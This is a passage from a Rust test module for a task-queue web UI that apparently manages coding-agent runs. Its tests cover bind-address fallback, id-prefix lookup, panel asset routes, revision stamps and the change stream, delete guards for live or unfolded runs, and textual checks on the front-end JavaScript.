20145        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20146
20147        assert_eq!(addr, asked);
20148        assert!(
20149            warning.is_none(),
20150            "an operator who named an address gets no lecture"
20151        );
20152    }
20153
20154    #[test]
20155    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20156        let (addr, warning) = resolve_bind(&Bind::Auto);
20157
20158        // This has to hold on a CI runner with no `tailscale` and on a dev box
20159        // with one, so the invariant asserted is the one shared by both
20160        // outcomes: the address is either a real tailnet address offered
20161        // without comment, or loopback with an explanation. What must never
20162        // happen is a silent fallback - an operator told "listening on
20163        // 127.0.0.1" with no reason would go looking for a firewall.
20164        match addr {
20165            IpAddr::V4(ip) if is_tailnet(&ip) => {
20166                assert!(warning.is_none(), "a tailnet address needs no warning");
20167            }
20168            other => {
20169                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20170                let warning = warning.expect("a fallback has to explain itself");
20171                assert!(
20172                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20173                    "the warning says what happened and what it costs: {warning}"
20174                );
20175            }
20176        }
20177    }
20178
20179    #[test]
20180    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20181        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20182        // boundary cases are what stop us binding to some other tool's idea of
20183        // an address.
20184        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20185        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20186        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20187        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20188        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20189    }
20190
20191    #[test]
20192    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20193        let ids = vec![
20194            "20260902-140501-aaaa".to_owned(),
20195            "20260902-140502-aabb".to_owned(),
20196        ];
20197
20198        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20199        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20200        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20201
20202        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20203        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20204        assert_eq!(short, "20260902-140502-aabb");
20205    }
20206    #[tokio::test]
20207    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20208        // The prompt tells agents to reference attachments by bare filename.
20209        // A document served at `.../panel` resolves `shot.png` against its own
20210        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20211        // panel written exactly as instructed showed broken images. Caught by
20212        // looking at a real one in a browser, not by reading the code.
20213        let fx = Fixture::start().await;
20214        let id = panel(
20215            &fx,
20216            "<img src=\"shot.png\">",
20217            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20218        );
20219
20220        // The frame's own URL ends in a filename, so its siblings are reachable.
20221        let doc = fx
20222            .get(&format!("/api/questions/{id}/panel/index.html"))
20223            .await;
20224        assert_eq!(doc.status, 200, "{}", doc.body);
20225        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20226
20227        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20228        assert_eq!(sibling.status, 200, "{}", sibling.body);
20229        assert_eq!(sibling.header("content-type"), Some("image/png"));
20230        assert_eq!(
20231            sibling.header("content-security-policy"),
20232            Some(PANEL_CSP),
20233            "the sibling route must carry the same policy as the asset route"
20234        );
20235
20236        // The original spelling keeps working: HEAD on it is how the front end
20237        // decides whether to mount a frame at all.
20238        assert_eq!(
20239            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20240            200
20241        );
20242    }
20243
20244    #[test]
20245    fn delta_stamps_cover_add_update_remove_and_noop() {
20246        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20247        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20248        let delta = diff_stamps(&before, &after, 42);
20249        assert_eq!(delta.base, 42);
20250        assert_eq!(delta.changed, ["b", "c"]);
20251        assert_eq!(delta.removed, ["a"]);
20252        let same = diff_stamps(&after, &after, 43);
20253        assert!(same.changed.is_empty() && same.removed.is_empty());
20254        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20255        let nanos: Stamps = [("b".into(), (2, 20))].into();
20256        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20257        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20258        assert_eq!(stamps_revision(&Stamps::new()), 0);
20259    }
20260
20261    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20262        std::fs::create_dir_all(home.join("runs")).unwrap();
20263        Arc::new(Ui::new(
20264            Queue::at(home.join("queue")),
20265            Questions::at(home.join("questions")),
20266            Talks::at(home.join("talks")),
20267            home.join("runs"),
20268            home.to_owned(),
20269            PathBuf::from("/repo/magi"),
20270        ))
20271    }
20272
20273    #[test]
20274    fn monitor_scan_isolates_store_failures_and_recovers() {
20275        let home = TempDir::new().unwrap();
20276        let ui = delta_test_ui(home.path());
20277        std::fs::create_dir_all(ui.questions.root()).unwrap();
20278        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20279        let before = monitor_scan(&ui, None);
20280        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20281        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20282        std::fs::create_dir_all(ui.talks.root()).unwrap();
20283        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20284        let during = monitor_scan(&ui, Some(before.clone()));
20285        assert_eq!(during.0.2, before.0.2);
20286        assert_ne!(during.0.3, before.0.3);
20287        assert!(during.1[2].contains_key("new"));
20288        std::fs::remove_file(ui.questions.root()).unwrap();
20289        let after = monitor_scan(&ui, Some(during));
20290        assert_eq!(after.0.2, 0);
20291        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20292        // A failed first scan also permits healthy stores to publish.
20293        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20294        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20295    }
20296
20297    #[tokio::test]
20298    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20299        let home = TempDir::new().unwrap();
20300        let ui = delta_test_ui(home.path());
20301        let mut task = Task::new(
20302            "stream task".into(),
20303            "text".into(),
20304            PathBuf::from("/repo"),
20305            Source::Human,
20306        );
20307        ui.queue.put(&mut task).unwrap();
20308        let response = events(State(ui.clone())).await.into_response();
20309        let mut stream = response.into_body().into_data_stream();
20310        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20311            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20312                .await
20313                .unwrap()
20314                .unwrap()
20315                .unwrap();
20316            let text = String::from_utf8(chunk.to_vec()).unwrap();
20317            let data = text
20318                .lines()
20319                .find_map(|line| {
20320                    line.strip_prefix("data: ")
20321                        .or_else(|| line.strip_prefix("data:"))
20322                })
20323                .unwrap();
20324            serde_json::from_str(data).unwrap()
20325        }
20326        let initial = change(&mut stream).await;
20327        assert!(initial.get("queue_delta").is_none());
20328        task.instruction.push_str(" changed");
20329        ui.queue.put(&mut task).unwrap();
20330        let updated = change(&mut stream).await;
20331        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20332        assert_eq!(
20333            updated["queue_delta"]["changed"],
20334            serde_json::json!([task.id])
20335        );
20336        assert_eq!(
20337            updated["queue_rev"].as_u64(),
20338            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20339        );
20340        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20341        let removed = change(&mut stream).await;
20342        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20343        assert_eq!(
20344            removed["queue_delta"]["removed"],
20345            serde_json::json!([task.id])
20346        );
20347    }
20348
20349    #[tokio::test]
20350    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20351        let home = TempDir::new().unwrap();
20352        let ui = delta_test_ui(home.path());
20353        let queue = ui.queue.clone();
20354        let query = |ids: Option<&str>| {
20355            Query(ListQuery {
20356                limit: Some(2),
20357                ids: ids.map(str::to_owned),
20358            })
20359        };
20360        let mut root = Task::new(
20361            "root".into(),
20362            "instruction".into(),
20363            PathBuf::from("/repo"),
20364            Source::Human,
20365        );
20366        queue.put(&mut root).unwrap();
20367        let mut blocked = Task::new(
20368            "blocked".into(),
20369            "instruction".into(),
20370            PathBuf::from("/repo"),
20371            Source::Human,
20372        );
20373        blocked.block(vec![root.id.clone()], None);
20374        queue.put(&mut blocked).unwrap();
20375        let whole =
20376            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20377                .unwrap();
20378        let subset = serde_json::to_value(
20379            queue_list(State(ui.clone()), query(Some(&root.id)))
20380                .await
20381                .unwrap()
20382                .0,
20383        )
20384        .unwrap();
20385        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20386        let blockers = serde_json::to_value(
20387            queue_list(State(ui.clone()), query(Some("")))
20388                .await
20389                .unwrap()
20390                .0,
20391        )
20392        .unwrap();
20393        assert_eq!(blockers.as_array().unwrap().len(), 1);
20394        assert_eq!(blockers[0]["id"], blocked.id);
20395        assert_eq!(
20396            blockers[0]["waits_on"],
20397            whole
20398                .as_array()
20399                .unwrap()
20400                .iter()
20401                .find(|row| row["id"] == blocked.id)
20402                .unwrap()["waits_on"]
20403        );
20404
20405        for id in [
20406            "20260902-140501-aaaa",
20407            "20260902-140502-bbbb",
20408            "20260902-140503-cccc",
20409        ] {
20410            write_run(&ui.runs, id, RunStatus::Merged);
20411        }
20412        let old = serde_json::to_value(
20413            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20414                .await
20415                .unwrap()
20416                .0,
20417        )
20418        .unwrap();
20419        assert!(
20420            old.as_array().unwrap().is_empty(),
20421            "older updates must not enter the window"
20422        );
20423        let newest = serde_json::to_value(
20424            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20425                .await
20426                .unwrap()
20427                .0,
20428        )
20429        .unwrap();
20430        assert_eq!(newest.as_array().unwrap().len(), 1);
20431        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20432
20433        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20434        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20435        let talks = serde_json::to_value(
20436            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20437                .await
20438                .unwrap()
20439                .0,
20440        )
20441        .unwrap();
20442        assert_eq!(talks.as_array().unwrap().len(), 1);
20443        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20444        assert_eq!(
20445            serde_json::to_value(
20446                talks_list(State(ui.clone()), query(Some("")))
20447                    .await
20448                    .unwrap()
20449                    .0
20450            )
20451            .unwrap(),
20452            serde_json::json!([])
20453        );
20454    }
20455
20456    #[tokio::test]
20457    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20458    async fn delta_payload_benchmark() {
20459        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20460        let ui = delta_test_ui(&home);
20461        let query = |ids: Option<String>| {
20462            Query(ListQuery {
20463                limit: Some(50),
20464                ids,
20465            })
20466        };
20467        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20468        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20469        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20470        let queue_id = queue
20471            .iter()
20472            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20473            .unwrap_or(&queue[0])
20474            .task
20475            .id
20476            .clone();
20477        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20478            .await
20479            .unwrap()
20480            .0;
20481        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20482            .await
20483            .unwrap()
20484            .0;
20485        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20486            .await
20487            .unwrap()
20488            .0;
20489        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20490        eprintln!(
20491            "DELTA_PAYLOAD {}",
20492            serde_json::json!({
20493                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20494                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20495                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20496                "counts": [queue.len(), runs.len(), talks.len()],
20497                "blocked": queue_delta.len() - 1,
20498            })
20499        );
20500    }
20501
20502    #[test]
20503    fn runs_revision_moves_when_deleting_an_older_run() {
20504        let temp = TempDir::new().expect("tempdir");
20505        let runs = temp.path().join("runs");
20506        std::fs::create_dir_all(&runs).expect("create runs dir");
20507
20508        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20509
20510        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20511        std::thread::sleep(Duration::from_millis(10));
20512        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20513
20514        let rev_before = runs_revision(&runs);
20515        assert!(rev_before > 0);
20516
20517        let old_dir = runs.join("20260901-100000-old1");
20518        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20519
20520        let rev_after = runs_revision(&runs);
20521        assert_ne!(
20522            rev_before, rev_after,
20523            "deleting an older run must change the revision so other clients see the deletion"
20524        );
20525    }
20526
20527    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20528    /// process-global home entirely — `RunState::save` writes through
20529    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20530    /// (see `tests::home_lock` in the integration suite for why).
20531    fn write_state(runs: &FsPath, state: &RunState) {
20532        let dir = runs.join(&state.id);
20533        std::fs::create_dir_all(&dir).expect("run dir");
20534        std::fs::write(
20535            dir.join("run.json"),
20536            serde_json::to_string_pretty(state).expect("serialize run"),
20537        )
20538        .expect("write run.json");
20539    }
20540
20541    /// A seat starting or finishing is a write to `run.json` like any other,
20542    /// so it moves the same revision the change stream already watches —
20543    /// nothing new for `/api/events` to learn, but the property this feature
20544    /// depends on to reach the phone without a poll.
20545    #[test]
20546    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20547        let temp = TempDir::new().expect("tempdir");
20548        let runs = temp.path().join("runs");
20549        std::fs::create_dir_all(&runs).expect("create runs dir");
20550        let mut state = RunState::new(
20551            PathBuf::from("/repo/magi"),
20552            "main".to_owned(),
20553            "0123456789abcdef".to_owned(),
20554            "task".to_owned(),
20555            Config::default(),
20556        );
20557        state.id = "20260902-100000-c0de".to_owned();
20558        write_state(&runs, &state);
20559
20560        let rev_idle = runs_revision(&runs);
20561        std::thread::sleep(Duration::from_millis(10));
20562        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20563        write_state(&runs, &state);
20564        let rev_started = runs_revision(&runs);
20565        assert_ne!(
20566            rev_idle, rev_started,
20567            "a seat starting must move the revision"
20568        );
20569
20570        std::thread::sleep(Duration::from_millis(10));
20571        state.seat_finished("judge-1");
20572        write_state(&runs, &state);
20573        let rev_finished = runs_revision(&runs);
20574        assert_ne!(
20575            rev_started, rev_finished,
20576            "and clearing it again must move the revision a second time"
20577        );
20578    }
20579
20580    #[tokio::test]
20581    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20582        // `TaskView` flattens `Task`, so this is really asserting that
20583        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20584        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20585        // never touched web.rs, so nothing here caught it if it had.
20586        let fx = Fixture::start().await;
20587        let q = fx.queue();
20588
20589        let mut t = Task::new(
20590            "Task".to_owned(),
20591            "Instruction".to_owned(),
20592            PathBuf::from("/repo"),
20593            Source::Human,
20594        );
20595        t.block(
20596            vec!["20260101-000000-dead".to_owned()],
20597            Some("waiting on Task 1".to_owned()),
20598        );
20599        t.answers.push(crate::queue::AnsweredQuestion {
20600            question: "Which backend?".to_owned(),
20601            answer: "SQLite".to_owned(),
20602        });
20603        q.put(&mut t).expect("put t");
20604
20605        let res = fx.get("/api/queue").await;
20606        assert_eq!(res.status, 200);
20607        let list = res.json();
20608        let view = list
20609            .as_array()
20610            .expect("array")
20611            .iter()
20612            .find(|v| v["id"] == t.id)
20613            .expect("task in list");
20614        assert_eq!(view["status_str"], "blocked");
20615        assert_eq!(
20616            view["blocked_by"],
20617            serde_json::json!(["20260101-000000-dead"])
20618        );
20619        assert_eq!(view["block_reason"], "waiting on Task 1");
20620        assert_eq!(view["answers"][0]["question"], "Which backend?");
20621        assert_eq!(view["answers"][0]["answer"], "SQLite");
20622
20623        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
20624        // but never `answers` - that is a settled decision, not state
20625        // describing the current block, so it survives.
20626        let res = fx
20627            .post(&format!("/api/queue/{}/hold", t.short()), None)
20628            .await;
20629        assert_eq!(res.status, 200);
20630        let held = res.json();
20631        assert_eq!(held["status_str"], "held");
20632        assert_eq!(held["blocked_by"], serde_json::json!([]));
20633        assert!(held["block_reason"].is_null());
20634        assert_eq!(held["answers"][0]["answer"], "SQLite");
20635    }
20636
20637    #[tokio::test]
20638    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20639        let fx = Fixture::start().await;
20640        let q = fx.queue();
20641        let mk = |title: &str| {
20642            Task::new(
20643                title.to_owned(),
20644                "Instruction".to_owned(),
20645                PathBuf::from("/repo"),
20646                Source::Human,
20647            )
20648        };
20649        let mut root = mk("root");
20650        root.hold_manual(Some("waiting".to_owned()));
20651        q.put(&mut root).unwrap();
20652        let mut mid = mk("mid");
20653        mid.block(vec![root.id.clone()], None);
20654        q.put(&mut mid).unwrap();
20655        let mut leaf = mk("leaf");
20656        leaf.block(vec![mid.id.clone()], None);
20657        q.put(&mut leaf).unwrap();
20658
20659        let list = fx.get("/api/queue").await.json();
20660        let find = |id: &str| {
20661            list.as_array()
20662                .unwrap()
20663                .iter()
20664                .find(|v| v["id"] == id)
20665                .unwrap()
20666                .clone()
20667        };
20668        let leaf_view = find(&leaf.id);
20669        assert_eq!(
20670            leaf_view["waits_on"],
20671            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20672        );
20673        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20674        assert_eq!(
20675            find(&mid.id)["waits_on"],
20676            serde_json::json!([format!("{} (held)", root.short())])
20677        );
20678        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20679    }
20680
20681    #[tokio::test]
20682    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20683        let fx = Fixture::start().await;
20684        let q = fx.queue();
20685
20686        // 1. A queued task with runs attached can be deleted.
20687        let mut t1 = Task::new(
20688            "Task 1".to_owned(),
20689            "Instruction 1".to_owned(),
20690            PathBuf::from("/repo"),
20691            Source::Human,
20692        );
20693        let run_id = "20260901-000000-r111";
20694        t1.runs.push(run_id.to_owned());
20695        write_run(&fx.runs(), run_id, RunStatus::Merged);
20696        q.put(&mut t1).expect("put t1");
20697
20698        // Delete by short id
20699        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20700        assert_eq!(res.status, 204);
20701        assert!(res.body.is_empty(), "204 No Content has no body");
20702        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20703        assert!(
20704            fx.runs().join(run_id).exists(),
20705            "run directory must not be deleted when its task is deleted"
20706        );
20707
20708        // 2. A task a live daemon is running is refused with 409.
20709        let mut t2 = Task::new(
20710            "Task 2".to_owned(),
20711            "Instruction 2".to_owned(),
20712            PathBuf::from("/repo"),
20713            Source::Human,
20714        );
20715        t2.status = TaskStatus::Running;
20716        q.put(&mut t2).expect("put t2");
20717        let mut beat = crate::daemon::Status::new();
20718        beat.current = vec![crate::daemon::Current {
20719            task: t2.id.clone(),
20720            run: "20260901-000000-r222".to_owned(),
20721        }];
20722        beat.updated_at = jiff::Timestamp::now();
20723        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20724            .expect("publish a heartbeat");
20725        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20726        assert_eq!(res.status, 409);
20727        assert!(
20728            res.json()["error"]
20729                .as_str()
20730                .unwrap()
20731                .contains("live daemon")
20732        );
20733        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20734
20735        // 3. The same `running` status and an orphaned lock, with no daemon
20736        // behind either, is a leftover and deletable. Before this the phone
20737        // refused it for good: the status never changes on its own and
20738        // nothing drops a lock whose process is gone.
20739        // The daemon is killed: the file stays, the heartbeat stops.
20740        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20741        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20742            .expect("leave a stale heartbeat");
20743        let mut t3 = Task::new(
20744            "Task 3".to_owned(),
20745            "Instruction 3".to_owned(),
20746            PathBuf::from("/repo"),
20747            Source::Human,
20748        );
20749        t3.status = TaskStatus::Running;
20750        q.put(&mut t3).expect("put t3");
20751        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20752        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20753        assert_eq!(res.status, 204);
20754        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20755        assert!(
20756            q.claim(&t3.id).is_ok(),
20757            "the stale lock went with it, so the id is claimable again"
20758        );
20759
20760        // 4. Missing id returns 404
20761        let res = fx.delete("/api/queue/nonexistent").await;
20762        assert_eq!(res.status, 404);
20763    }
20764
20765    #[tokio::test]
20766    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20767        let fx = Fixture::start().await;
20768        let runs = fx.runs();
20769
20770        // 1. Finished and folded run can be deleted along with artifacts
20771        let run_id = "20260901-000000-fold";
20772        let mut state = RunState::new(
20773            PathBuf::from("/repo"),
20774            "main".to_owned(),
20775            "abc".to_owned(),
20776            "instruction".to_owned(),
20777            Config::default(),
20778        );
20779        state.id = run_id.to_owned();
20780        state.status = RunStatus::Merged;
20781        state.candidates.push(crate::run::Candidate {
20782            index: 0,
20783            label: 'A',
20784            agent: "a".to_owned(),
20785            branch: "b".to_owned(),
20786            worktree: PathBuf::from("/w"),
20787            summary: String::new(),
20788            stat: String::new(),
20789            files: 1,
20790            commits: 1,
20791            empty: false,
20792            failed: None,
20793            verified_noop: None,
20794            duration_ms: 0,
20795            folded: true,
20796        });
20797        let dir = runs.join(run_id);
20798        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20799        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20800            .expect("write artifact");
20801        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20802            .expect("write run.json");
20803
20804        // Delete by short id
20805        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20806        assert_eq!(res.status, 204);
20807        assert!(res.body.is_empty(), "204 has no body");
20808        assert!(!dir.exists(), "run directory and artifacts must be deleted");
20809
20810        // 2. A run a live daemon is working on is refused with 409. The
20811        // heartbeat is what makes it refusable: an unfinished run with no
20812        // daemon behind it is a leftover from a killed process, and case 1
20813        // above would otherwise be impossible to tell apart from this one.
20814        let run_running = "20260901-000000-rung";
20815        write_run(&runs, run_running, RunStatus::Prep);
20816        let mut beat = crate::daemon::Status::new();
20817        beat.current = vec![crate::daemon::Current {
20818            task: "20260901-000000-task".to_owned(),
20819            run: run_running.to_owned(),
20820        }];
20821        beat.updated_at = jiff::Timestamp::now();
20822        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20823            .expect("publish a heartbeat");
20824        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20825        assert_eq!(res.status, 409);
20826        assert!(
20827            res.json()["error"]
20828                .as_str()
20829                .unwrap()
20830                .contains("live daemon"),
20831            "the refusal must say who is holding it"
20832        );
20833        assert!(
20834            runs.join(run_running).exists(),
20835            "a run in flight keeps its directory"
20836        );
20837
20838        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
20839        let run_unfolded = "20260901-000000-unfd";
20840        let mut state2 = RunState::new(
20841            PathBuf::from("/repo"),
20842            "main".to_owned(),
20843            "abc".to_owned(),
20844            "instruction".to_owned(),
20845            Config::default(),
20846        );
20847        state2.id = run_unfolded.to_owned();
20848        state2.status = RunStatus::Ready;
20849        state2.candidates.push(crate::run::Candidate {
20850            index: 0,
20851            label: 'A',
20852            agent: "a".to_owned(),
20853            branch: "b".to_owned(),
20854            worktree: PathBuf::from("/w"),
20855            summary: String::new(),
20856            stat: String::new(),
20857            files: 1,
20858            commits: 1,
20859            empty: false,
20860            failed: None,
20861            verified_noop: None,
20862            duration_ms: 0,
20863            folded: false,
20864        });
20865        let dir2 = runs.join(run_unfolded);
20866        std::fs::create_dir_all(&dir2).expect("create dir2");
20867        std::fs::write(
20868            dir2.join("run.json"),
20869            serde_json::to_string(&state2).unwrap(),
20870        )
20871        .expect("write run.json");
20872
20873        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20874        assert_eq!(res.status, 409);
20875        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20876        assert!(dir2.exists(), "unfolded run directory is kept");
20877
20878        // 4. Missing id returns 404
20879        let res = fx.delete("/api/runs/nonexistent").await;
20880        assert_eq!(res.status, 404);
20881    }
20882
20883    /// The queue tiles on the Stats tab must render even on a home with no
20884    /// runs at all: queue state is not derived from run history, so hiding
20885    /// the whole dashboard body behind "no runs yet" would drop the one
20886    /// thing this tab promises unconditionally (queued/running/held/done).
20887    /// A DOM-level test would need a browser this suite does not have, so
20888    /// this pins the same invariant textually: `renderStatsQueue` is called
20889    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
20890    /// block that gates the run-derived panels.
20891    #[test]
20892    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20893        let start = APP_JS
20894            .find("function renderStats() {")
20895            .expect("renderStats");
20896        let end = start
20897            + APP_JS[start..]
20898                .find("function statsTile(")
20899                .expect("the next top-level function");
20900        let body = &APP_JS[start..end];
20901
20902        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20903        let gate_end = gate_start
20904            + body[gate_start..]
20905                .find("}\n  renderStatsQueue")
20906                .expect("the gate's own closing brace, right before the unconditional call");
20907        let gated = &body[gate_start..gate_end];
20908
20909        assert_eq!(
20910            body.matches("renderStatsQueue(").count(),
20911            1,
20912            "renderStats must call renderStatsQueue exactly once: {body}"
20913        );
20914        assert!(
20915            !gated.contains("renderStatsQueue"),
20916            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20917             run-derived panels on an empty run history - the queue panel has to render \
20918             regardless: {gated}"
20919        );
20920    }
20921
20922    #[test]
20923    fn web_ui_delete_contract_in_front_end() {
20924        // 1. API block has both delete endpoints
20925        assert!(APP_JS.contains("deleteRun:"));
20926        assert!(APP_JS.contains("deleteTask:"));
20927
20928        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
20929        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20930            ..APP_JS.find("function renderRuns").unwrap()];
20931        assert!(!run_cards_slice.to_lowercase().contains("delete"));
20932
20933        // 3. Run detail has delete entry and reasons
20934        assert!(APP_JS.contains("renderRunDelete"));
20935        assert!(APP_JS.contains("runDeleteReason"));
20936        assert!(APP_JS.contains("magi fold"));
20937        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20938
20939        // 4. Two-step delete arming and focus on Cancel
20940        assert!(APP_JS.contains("cancel.focus"));
20941        assert!(APP_JS.contains("armedRunDelete"));
20942        assert!(APP_JS.contains("renderTaskDeleteBox"));
20943        assert!(APP_JS.contains("armed${cap(key)}"));
20944
20945        // 5. Running task has disabled delete
20946        assert!(APP_JS.contains("disabled: status === \"running\""));
20947    }
20948
20949    /// Every element a run card's updater reaches for must be in the `refs`
20950    /// the builder handed it.
20951    ///
20952    /// `createRunCard` builds its elements, appends them to the card, and then
20953    /// lists them again in `row.refs`. That second list is the one the updater
20954    /// uses, and nothing connects the two - an element can be built, appended
20955    /// and rendered, and still be missing from `refs`. `superseded` was, for
20956    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
20957    /// exception took `syncList` with it, and the deck showed
20958    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
20959    /// line is computed before the cards, which is why the failure looked like
20960    /// a server that had lost its runs rather than a front end that had
20961    /// stopped rendering them.
20962    ///
20963    /// A `cargo test` cannot execute the front end, so this reads the two
20964    /// halves out of the source and compares them as sets. It is not a check
20965    /// on the wording of either list: adding an element, renaming one, or
20966    /// reordering them all keeps this passing, and only using one the builder
20967    /// never published fails it.
20968    #[test]
20969    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20970        let build = APP_JS
20971            .find("function createRunCard")
20972            .expect("createRunCard exists");
20973        let update = APP_JS
20974            .find("function updateRunCard")
20975            .expect("updateRunCard exists");
20976        let end = APP_JS
20977            .find("function renderRuns")
20978            .expect("renderRuns exists");
20979
20980        // The builder's published set: the object literal assigned to `refs`.
20981        let builder = &APP_JS[build..update];
20982        let open = builder.find("refs = {").expect("createRunCard sets refs");
20983        let literal = &builder[open + "refs = {".len()..];
20984        let close = literal.find('}').expect("the refs literal is closed");
20985        let published: HashSet<&str> = literal[..close]
20986            .split(',')
20987            // `name` and `name: value` both bind `name`.
20988            .filter_map(|entry| entry.split(':').next())
20989            .map(str::trim)
20990            .filter(|name| !name.is_empty())
20991            .collect();
20992        assert!(
20993            published.len() > 5,
20994            "the refs literal did not parse into names: {published:?}"
20995        );
20996
